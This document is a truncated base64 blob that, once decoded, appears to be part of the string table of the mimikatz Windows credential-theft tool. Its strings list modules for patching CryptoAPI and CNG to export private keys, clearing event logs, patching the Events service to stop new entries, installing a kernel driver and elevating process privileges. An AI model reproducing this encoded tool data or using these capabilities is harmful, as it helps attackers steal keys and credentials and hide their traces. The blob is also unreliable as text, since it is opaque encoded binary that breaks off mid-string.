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CAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoACgAAAAAAKABuAHUAbABsACkAAAAAAAAAAAAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKABmAG8AcgAgAGwAZQBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAbwBmAHQAdwBhAHIAZQAgAEsAZQB5ACAAUwB0AG8AcgBhAGcAZQAgAFAAcgBvAHYAaQBkAGUAcgAAAGMAbgBnAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAawBlAHkAcwAgADoACgAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAAAAAAFUAbgBpAHEAdQBlACAATgBhAG0AZQAAACAAIAAgACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAUgBTAEEAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBvACAAQwBOAEcAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABmAHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AGUAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAZQByAHQAQQBkAGQARQBuAGMAbwBkAGUAZABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVABvAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAJQBzAF8AJQBzAF8AJQB1AF8AJQBzAC4AJQBzAAAAAABOAFQATABNADoAIAAAAAAARABDAEMAMQA6ACAAAAAAAEQAQwBDADIAOgAgAAAAAABMAE0AIAAgADoAIAAAAAAATQBEADUAIAA6ACAAAAAAAFMASABBADEAOgAgAAAAAABTAEgAQQAyADoAIAAAAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAEUAdgBlAG4AdABzACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAdgBvAGkAZAAgAG4AZQB3ACAAZQB2AGUAbgB0AHMAAABjAGwAZQBhAHIAAAAAAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAAAAAABFAHYAZQBuAHQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAAAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAAAAAAAAbABvAGcAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABDAGwAZQBhAHIARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAAABwAGkAbgBnAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAAAAAAAAQgBTAE8ARAAgACEAAAAAAHAAcgBvAGMAZQBzAHMAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAFAAcgBvAGMAZQBzAHMAUgBlAG0AbwB2AGUAAAAAAFIAZQBtAG8AdgBlACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAUgBlAG0AbwB2AGUAAAAAAAAAUgBlAG0AbwB2AGUAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAAAAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegA